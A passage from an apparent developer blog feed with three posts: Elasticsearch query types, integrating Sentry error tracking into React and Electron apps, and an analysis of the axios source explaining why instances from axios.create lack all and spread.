&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;prefix&quot;: {
      &quot;description&quot;: &quot;wi&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/prefix-query-winpython.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Why can &lt;code&gt;wi&lt;/code&gt; match this? Because &lt;code&gt;Elasticsearch&lt;/code&gt; analyzes &lt;code&gt;description&lt;/code&gt;, and it splits &lt;code&gt;winPython&lt;/code&gt; into &lt;code&gt;win&lt;/code&gt; &lt;code&gt;Python&lt;/code&gt;. Those two are the analyzed terms, and &lt;code&gt;prefix&lt;/code&gt; checks whether each term starts with the keyword, like JS &lt;code&gt;startsWith&lt;/code&gt;. In code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const dataItem = [&apos;win&apos;, &apos;python&apos;];
const prefixKeyword = &apos;wi&apos;;

const result = dataItem.some(item =&amp;gt; item.startsWith(prefixKeyword));

console.log(result); //=&amp;gt; true
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;wildcard query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;wildcard&lt;/code&gt; is a wildcard query. Right now it only supports &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt;: zero or more&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?&lt;/code&gt;: one or more&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note: &lt;code&gt;wildcard&lt;/code&gt; does not match the full text. It still analyzes the field, then applies the pattern to each term&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For example, documents matching &lt;code&gt;wi*&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;wildcard&quot;: {
      &quot;description&quot;: &quot;wi*&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/wildcard-query-winpython.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;First &lt;code&gt;Elasticsearch&lt;/code&gt; analyzes &lt;code&gt;description&lt;/code&gt; into &lt;code&gt;win&lt;/code&gt; and &lt;code&gt;python&lt;/code&gt;. Then &lt;code&gt;wi*&lt;/code&gt; is applied to each term. &lt;code&gt;win&lt;/code&gt; matches, so it shows up.&lt;/p&gt;
&lt;p&gt;If I use &lt;code&gt;win?&lt;/code&gt;, there are no hits, because &lt;code&gt;?&lt;/code&gt; means one or more. When it matches &lt;code&gt;win&lt;/code&gt;, there is nothing after it, so the result is empty.&lt;/p&gt;
&lt;h4&gt;regexp query&lt;/h4&gt;
&lt;p&gt;This is a regular expression query. The idea is the same as &lt;code&gt;wildcard&lt;/code&gt;, so I will not go into it here.&lt;/p&gt;
&lt;h4&gt;fuzzy query&lt;/h4&gt;
&lt;p&gt;Think of &lt;code&gt;fuzzy&lt;/code&gt; as a fuzzy query. If a user mistypes a keyword as &lt;code&gt;javascrpit&lt;/code&gt;, &lt;code&gt;fuzzy&lt;/code&gt; can still find &lt;code&gt;javascript&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;fuzzy&quot;: {
      &quot;description&quot;: &quot;javascrpit&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/fuzzy-query-javascript.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Compound queries&lt;/h3&gt;
&lt;p&gt;A compound query combines simple queries into a more complex one. It can also control how another query behaves.&lt;/p&gt;
&lt;h4&gt;constant_score query&lt;/h4&gt;
&lt;p&gt;Not used much. It scores the documents in the result.&lt;/p&gt;
&lt;p&gt;I will not go into it here. If you are interested: &lt;a href=&quot;https://blog.csdn.net/dm_vincent/article/details/42157577&quot;&gt;[Elasticsearch] 控制相关度 (四) - 忽略 TF/IDF&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;bool query&lt;/h4&gt;
&lt;p&gt;This query is pretty important. It provides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;must: the document must satisfy the queries under &lt;code&gt;must&lt;/code&gt;, like &lt;code&gt;AND&lt;/code&gt; or &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;should: the document may match the queries under &lt;code&gt;should&lt;/code&gt;; it is fine if it does not. Like &lt;code&gt;OR&lt;/code&gt; or &lt;code&gt;||&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;must_not: the opposite of &lt;code&gt;must&lt;/code&gt;. Must not satisfy the queries under &lt;code&gt;must_not&lt;/code&gt;, like &lt;code&gt;!==&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;filter: same as &lt;code&gt;must&lt;/code&gt;, but it does not score, so it does not affect &lt;code&gt;_score&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now I want: author (&lt;code&gt;author&lt;/code&gt;) is &lt;code&gt;葛一鸣&lt;/code&gt;, title (&lt;code&gt;title&lt;/code&gt;) contains &lt;code&gt;java&lt;/code&gt;, price (&lt;code&gt;price&lt;/code&gt;) must not be above &lt;code&gt;70&lt;/code&gt; or below &lt;code&gt;40&lt;/code&gt;, and description (&lt;code&gt;description&lt;/code&gt;) may or may not contain &lt;code&gt;虚拟机&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;bool&quot;: {
      &quot;filter&quot;: {
        &quot;term&quot;: {
          &quot;author&quot;: &quot;葛一鸣&quot;
        }
      },
      &quot;must&quot;: [
        {
          &quot;match&quot;: {
            &quot;title&quot;: &quot;java&quot;
          }
        }
      ],
      &quot;should&quot;: [
        {
          &quot;match&quot;: {
            &quot;description&quot;: &quot;虚拟机&quot;
          }
        }
      ],
      &quot;must_not&quot;: [
        {
          &quot;range&quot;: {
            &quot;price&quot;: {
              &quot;gt&quot;: 70,
              &quot;lt&quot;: 40
            }
          }
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/bool-query-combined-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;dis_max query, function_score query, boosting query&lt;/h4&gt;
&lt;p&gt;I will not cover these three. They mainly affect &lt;code&gt;_score&lt;/code&gt;, which is the score of the query results. Search online if you are interested.&lt;/p&gt;
</content:encoded><category>elasticsearch</category><category>dsl</category><category>kibana</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Integrating Sentry with JavaScript</title><link>https://bugs.cc/posts/javascript-integration-sentry/</link><guid isPermaLink="true">https://bugs.cc/posts/javascript-integration-sentry/</guid><description>Integrating Sentry in React, plus a brief look at how it works</description><pubDate>Fri, 24 Aug 2018 01:16:33 GMT</pubDate><content:encoded>&lt;h2&gt;Sentry-JavaScript&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Sentry is an open-source project for capturing product errors. It supports many languages and frameworks.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This post only covers the frontend JavaScript side.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At our company, a lot of projects used &lt;code&gt;kibana&lt;/code&gt; for stats. That did not tell us how the app was actually running. When a customer hit an error or a crash in a product we built, they had to contact support, who then handed it to us to reproduce and fix. Without concrete data, reproduction took a long time.&lt;/p&gt;
&lt;p&gt;Sentry is for that pain point. It lets us pin down the root cause quickly, ship a fix, and spend time on new features instead of reproducing bugs.&lt;/p&gt;
&lt;h3&gt;JavaScript&lt;/h3&gt;
&lt;h4&gt;Setup&lt;/h4&gt;
&lt;p&gt;Sentry hooks error functions to capture errors, so we can drop it into an existing project with almost no overhead.&lt;/p&gt;
&lt;p&gt;Here are the basic steps for combining React and Sentry.&lt;/p&gt;
&lt;p&gt;React:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;#SentryBoundary.js
import { Component } from &quot;react&quot;;
import Raven from &quot;raven-js&quot;;

export default class SentryBoundary extends Component {
  constructor(props) {
    super(props);
    this.state = { error: null };
  }

  componentDidCatch(error, errorInfo) {
    this.setState({ error });
    // send the error info
    Raven.captureException(error, { extra: errorInfo });
  }

  render() {
    if (this.state.error) {
      // this can be written as a component; when it crashes, the crashed component can be replaced
      console.log(&quot;React Error&quot;);
    }
    return this.props.children;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;#index.js
Raven.config(&quot;DSN&quot;, {
  release: release,
}).install();

ReactDOM.render(
  &amp;lt;div&amp;gt;
    &amp;lt;SentryBoundary&amp;gt;
      &amp;lt;App /&amp;gt;
    &amp;lt;/SentryBoundary&amp;gt;
  &amp;lt;/div&amp;gt;,
  document.getElementById(&quot;root&quot;)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Upload source-map&lt;/h5&gt;
&lt;p&gt;If the code above is in place, the app can capture errors. One problem remains: most of our projects bundle with &lt;code&gt;webpack&lt;/code&gt;, and the bundled code is minified. We cannot tell where an error was thrown. So we upload &lt;code&gt;source-map&lt;/code&gt; files together with the minified files to the Sentry server, so we can find the original location quickly.&lt;/p&gt;
&lt;p&gt;Configuring and running that upload is tedious. It is also the hard part of wiring a project to Sentry.&lt;/p&gt;
&lt;p&gt;There are currently two ways to upload source maps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use Sentry’s Webpack plugin. Not very flexible.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;sentry-cli&lt;/code&gt;. More flexible; you can configure it per project.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The setup is tedious, so I will not go through it here. For a full React + Sentry example, see my GitHub repo: &lt;a href=&quot;https://github.com/BlackHole1/react-sentry-demo&quot;&gt;react-sentry-demo&lt;/a&gt;. Every option is documented. For source-map upload I used the second approach and wrote a script that &lt;strong&gt;builds, checks the environment, checks auth, uploads source maps, and deletes local source maps&lt;/strong&gt;. It is automated. You can copy the script into an existing project with small changes.&lt;/p&gt;
&lt;p&gt;The core upload command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sentry-cli releases files v1.8 upload-sourcemaps {directory containing the js and js.map files; if not found, sentry will traverse its subdirectories} --url-prefix &apos;~/{filter rule}&apos;`;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;How it works&lt;/h4&gt;
&lt;p&gt;JavaScript has &lt;code&gt;window.onerror&lt;/code&gt;. Sentry’s core capture on the frontend is rewriting that method so every error is caught. The idea looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let _winError = window.onerror;
window.onerror = function (message, url, lineNo, colNo, errorObj) {
    console.log(`
	Error message: ${message}
	Error file URL: ${url}
	Error line: ${lineNo}
	Error column: ${colNo}
	Error details: ${errorObj}`);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then Sentry collects non-error data such as &lt;code&gt;user-agent&lt;/code&gt;, browser info, OS info, and custom fields, runs them through Sentry’s lifecycle hooks, and sends the payload to the Sentry server for display.&lt;/p&gt;
&lt;h4&gt;Compatibility&lt;/h4&gt;
&lt;p&gt;The compatibility in question is really &lt;code&gt;window.onerror&lt;/code&gt; compatibility.&lt;/p&gt;
&lt;h5&gt;Runtime compatibility&lt;/h5&gt;
&lt;p&gt;| Environment             | message |  url  | lineNo | colNo | errorObj |
| ———————– | : —–: | : —: | : ––: | : —: | : ——: |
| Firefox                 |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Chrom                   |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Edge                    |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| IE 11                   |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| IE 10                   |    ✓    |   ✓   |   ✓    |   ✓   |          |
| IE 9                    |    ✓    |   ✓   |   ✓    |   ✓   |          |
| IE 8                    |    ✓    |   ✓   |   ✓    |       |          |
| Safari 10 and up        |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Safari 9                |    ✓    |   ✓   |   ✓    |   ✓   |          |
| Opera 15+               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Android Browser 4.4     |    ✓    |   ✓   |   ✓    |   ✓   |          |
| Android Browser 4 - 4.3 |    ✓    |   ✓   |        |       |          |
| WeChat webview (Android)|    ✓    |   ✓   |   ✓    |   ✓   |          |
| WeChat webview (iOS)    |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| WKWebview               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| UIWebview               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |&lt;/p&gt;
&lt;h5&gt;Tag compatibility&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tag&lt;/th&gt;
&lt;th&gt;Can &lt;code&gt;window.onerror&lt;/code&gt; capture it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;img&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;You need to add the &lt;code&gt;crossorigin&lt;/code&gt; attribute on the script tag, and the server must allow CORS. Without that attribute, the error message is only &lt;code&gt;Script error.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;css&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iframe&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Most browsers support the method. Some runtimes lack &lt;code&gt;colNo&lt;/code&gt; and &lt;code&gt;errorObj&lt;/code&gt;. Sentry already handles that, so you do not need to worry. The error display is just a bit incomplete.&lt;/p&gt;
&lt;h4&gt;What it can capture&lt;/h4&gt;
&lt;h5&gt;Error info&lt;/h5&gt;
&lt;p&gt;From the sketch above, the core capture is &lt;code&gt;window.onerror&lt;/code&gt;. Anything it can catch is sent to Sentry.&lt;/p&gt;
&lt;p&gt;Besides &lt;code&gt;Promise&lt;/code&gt;, &lt;code&gt;window.onerror&lt;/code&gt; captures basically every error that shows up in the console: runtime errors, including syntax errors.&lt;/p&gt;
&lt;p&gt;To capture Promise errors, you can use:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;window.addEventListener(&apos;unhandledrejection&apos;, event =&amp;gt; {})&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Compatibility is not great. Currently only the WebKit kernel supports this event.&lt;/p&gt;
&lt;p&gt;The following code is something this method can catch:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const p = new Promise((reslove, reject) =&amp;gt; reject(&apos;Error&apos;))
p.then(data =&amp;gt; {
  console.log(data)
})
// the Promise triggered its reject callback but no catch handled it, which causes the error
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Breadcrumbs&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Ajax requests&lt;/li&gt;
&lt;li&gt;URL changes&lt;/li&gt;
&lt;li&gt;UI click and keydown DOM events&lt;/li&gt;
&lt;li&gt;console output&lt;/li&gt;
&lt;li&gt;Previous errors&lt;/li&gt;
&lt;li&gt;Custom breadcrumbs&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Display&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sentry-error-detail.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Electron integration&lt;/h3&gt;
&lt;p&gt;This is not about capturing errors inside the Electron app. It is about crashes. Electron is only a container. The content is still a JavaScript app.&lt;/p&gt;
&lt;h4&gt;Setup&lt;/h4&gt;
&lt;p&gt;As above, this only captures Electron crash info. When Electron crashes, it fires &lt;code&gt;crashReporter.start&lt;/code&gt;. We configure Sentry there:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { crashReporter } from &apos;electron&apos;

crashReporter.start({
  productName: &apos;aoc-desktop&apos;,
  companyName: &apos;alo7&apos;,
  submitURL:
    &apos;https://sentry.com/api/15376/minidump/?sentry_key=3e05fa101f035008e953ff56909b8eb&apos;,	// the minidump endpoint provided by sentry
  extra: {
    // extra info
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, you can use &lt;code&gt;process.crash()&lt;/code&gt; to simulate a crash and check whether Sentry received it.&lt;/p&gt;
&lt;h5&gt;Upload symbols&lt;/h5&gt;
&lt;p&gt;Earlier we uploaded source maps. Here we upload symbols. Think of a symbol file as another kind of source map.&lt;/p&gt;
&lt;p&gt;Symbol formats (extensions) vary. On Mac it is &lt;code&gt;dSYM&lt;/code&gt;. On Windows it is &lt;code&gt;pdb&lt;/code&gt;. Sentry does not support uploading &lt;code&gt;pdb&lt;/code&gt; yet. You need &lt;code&gt;dump_syms.exe&lt;/code&gt; to convert &lt;code&gt;pdb&lt;/code&gt; to &lt;code&gt;sym&lt;/code&gt;, then upload that to Sentry. After that, a crash in Sentry shows the crash context:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sentry-crash-symbols.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That lets you pinpoint where it went wrong.&lt;/p&gt;
&lt;h3&gt;How source-map matching works&lt;/h3&gt;
&lt;p&gt;When the Sentry server receives a source map, it matches it using the &lt;code&gt;url-prefix&lt;/code&gt; you passed on upload, the source-map file, and the runtime JS file. The flow:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sourcemap-matching-flow.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><category>react</category><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Analyze the axios source to find out why you can&apos;t use all and spread</title><link>https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/</link><guid isPermaLink="true">https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/</guid><description>Find why some APIs don&apos;t work by reading Axios source</description><pubDate>Sat, 14 Apr 2018 05:37:29 GMT</pubDate><content:encoded>&lt;h2&gt;Intro {#intro}&lt;/h2&gt;
&lt;p&gt;If you create axios with &lt;code&gt;axios.create({})&lt;/code&gt;, you will find you cannot use &lt;code&gt;all&lt;/code&gt;, &lt;code&gt;spread&lt;/code&gt;, &lt;code&gt;Cancel&lt;/code&gt;, &lt;code&gt;CancelToken&lt;/code&gt;, or &lt;code&gt;isCancel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I looked this up. Axios maintainers tell you to import the &lt;code&gt;axios package&lt;/code&gt; again. I don’t like that, because re-importing drops my axios config and I have to set it up again.&lt;/p&gt;
&lt;p&gt;We often don’t want the default config. We want a custom axios instance, for example with a base URL and timeout:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let newAxios = axios.create({
  baseURL: &apos;https://www.google.com.hk&apos;,
  timeout: 1000
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that you use &lt;code&gt;newAxios.post&lt;/code&gt;. &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;post&lt;/code&gt;, &lt;code&gt;put&lt;/code&gt; and the other basic methods work. But if you use &lt;code&gt;all&lt;/code&gt;, &lt;code&gt;spread&lt;/code&gt;, &lt;code&gt;Cancel&lt;/code&gt;, &lt;code&gt;CancelToken&lt;/code&gt;, or &lt;code&gt;isCancel&lt;/code&gt;, you will be told the method does not exist.&lt;/p&gt;
&lt;p&gt;Let’s look at how axios implements this, and why those methods disappear after &lt;code&gt;axios.create&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Source analysis {#source-analysis}&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;lib/axios.js&lt;/code&gt; in the axios source. This file is the &lt;code&gt;Axios&lt;/code&gt; entry point, and where &lt;code&gt;create&lt;/code&gt; lives. Here is the &lt;code&gt;create&lt;/code&gt; source:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.create = function create(instanceConfig) {
  return createInstance(mergeConfig(axios.defaults, instanceConfig));
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s read it step by step. &lt;code&gt;mergeConfig&lt;/code&gt; is what it sounds like: it merges our config with the defaults, and ours override the defaults. I won’t go into the merge code. If you’re interested, see &lt;a href=&quot;https://github.com/axios/axios/blob/master/lib/core/mergeConfig.js&quot;&gt;mergeConfig&lt;/a&gt;. So the code is now effectively:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.create = function create(instanceConfig) {
  return createInstance({
    baseURL: &apos;https://www.google.com.hk&apos;,
    timeout: 1000,
    xsrfCookieName: &apos;XSRF-TOKEN&apos;,
    xsrfHeaderName: &apos;X-XSRF-TOKEN&apos;,
    maxContentLength: -1,
    /* etc. */
  });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s a bit clearer. Next is &lt;code&gt;createInstance&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  return instance;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;context&lt;/code&gt; is the &lt;code&gt;axios&lt;/code&gt; instance. Roughly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function Axios(instanceConfig) {
  this.defaults = instanceConfig;
  this.interceptors = {
    request: new InterceptorManager(),
    response: new InterceptorManager()
  };
}

// Provide aliases for supported request methods
utils.forEach([&apos;delete&apos;, &apos;get&apos;, &apos;head&apos;, &apos;options&apos;], function forEachMethodNoData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url
    }));
  };
});

utils.forEach([&apos;post&apos;, &apos;put&apos;, &apos;patch&apos;], function forEachMethodWithData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, data, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url,
      data: data
    }));
  };
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No need to read it in detail. After &lt;code&gt;new Axios&lt;/code&gt;, &lt;code&gt;context&lt;/code&gt;’s prototype chain has &lt;code&gt;request delete get head options post put patch&lt;/code&gt;, and the instance itself has a &lt;code&gt;request interceptors&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;Now look at &lt;code&gt;bind&lt;/code&gt; and &lt;code&gt;extend&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var instance = bind(Axios.prototype.request, context);

// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);

// Copy context to instance
utils.extend(instance, context);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first &lt;code&gt;bind&lt;/code&gt; makes &lt;code&gt;this&lt;/code&gt; inside Axios.prototype.request point to &lt;code&gt;context&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The two &lt;code&gt;extend&lt;/code&gt; calls copy enumerable properties from the second argument onto the first, which is &lt;code&gt;instance&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Starting from &lt;code&gt;bind&lt;/code&gt;, &lt;code&gt;instance&lt;/code&gt; now has a &lt;code&gt;request&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;The second &lt;code&gt;extend&lt;/code&gt; copies methods from &lt;code&gt;Axios.prototype&lt;/code&gt; onto &lt;code&gt;instance&lt;/code&gt;. Now &lt;code&gt;instance&lt;/code&gt; has &lt;code&gt;request delete get head options post put patch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The third &lt;code&gt;extend&lt;/code&gt; copies methods from &lt;code&gt;context&lt;/code&gt; onto &lt;code&gt;instance&lt;/code&gt;. Now it has &lt;code&gt;request delete get head options post put patch interceptors defaults&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That’s it. &lt;code&gt;create&lt;/code&gt; returns &lt;code&gt;instance&lt;/code&gt;. There is no &lt;code&gt;all&lt;/code&gt;, &lt;code&gt;spread&lt;/code&gt;, or the others. That’s why they don’t work after &lt;code&gt;create&lt;/code&gt;. Where are they? Still in &lt;code&gt;lib/axios.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Expose Cancel &amp;amp; CancelToken
axios.Cancel = require(&apos;./cancel/Cancel&apos;);
axios.CancelToken = require(&apos;./cancel/CancelToken&apos;);
axios.isCancel = require(&apos;./cancel/isCancel&apos;);

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};
axios.spread = require(&apos;./helpers/spread&apos;);

module.exports = axios;

// Allow use of default import syntax in TypeScript
module.exports.default = axios;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These methods are assigned directly onto the axios function, then exported. So with &lt;code&gt;axios&lt;/code&gt; you can use &lt;code&gt;all&lt;/code&gt;, &lt;code&gt;spread&lt;/code&gt;, and the rest. With &lt;code&gt;axios.create&lt;/code&gt; you cannot use &lt;code&gt;all&lt;/code&gt;, &lt;code&gt;spread&lt;/code&gt;, &lt;code&gt;Cancel&lt;/code&gt;, &lt;code&gt;CancelToken&lt;/code&gt;, or &lt;code&gt;isCancel&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Solution {#solution}&lt;/h2&gt;
&lt;p&gt;If you could change axios source, you would change &lt;code&gt;lib/axios.js&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  utils.extend(instance, {
    Cancel: require(&apos;./cancel/Cancel&apos;),
    CancelToken: require(&apos;./cancel/CancelToken&apos;),
    isCancel: require(&apos;./cancel/isCancel&apos;),
    all: function all(promises) {
      return Promise.all(promises);
    },
    spread: require(&apos;./helpers/spread&apos;)
  }, context);

  return instance;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course that’s not going to happen. We need to do it without changing source.&lt;/p&gt;
&lt;p&gt;Here’s a blunt solution, which I like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let axios = require(&apos;axios&apos;);

const http = axios.create({
  baseURL: &apos;https://www.google.com.hk&apos;
})

/* eslint-disable no-proto */
http.__proto__ = axios
/* eslint-enable */

module.exports = axios
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty simple, one line.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/#user-content-fn-eslint-proto&quot; id=&quot;user-content-fnref-eslint-proto&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-eslint-proto&quot;&gt;
&lt;p&gt;The comments are there because &lt;code&gt;eslint&lt;/code&gt; does not allow reassigning &lt;code&gt;__proto__&lt;/code&gt;. &lt;a href=&quot;https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/#user-content-fnref-eslint-proto&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
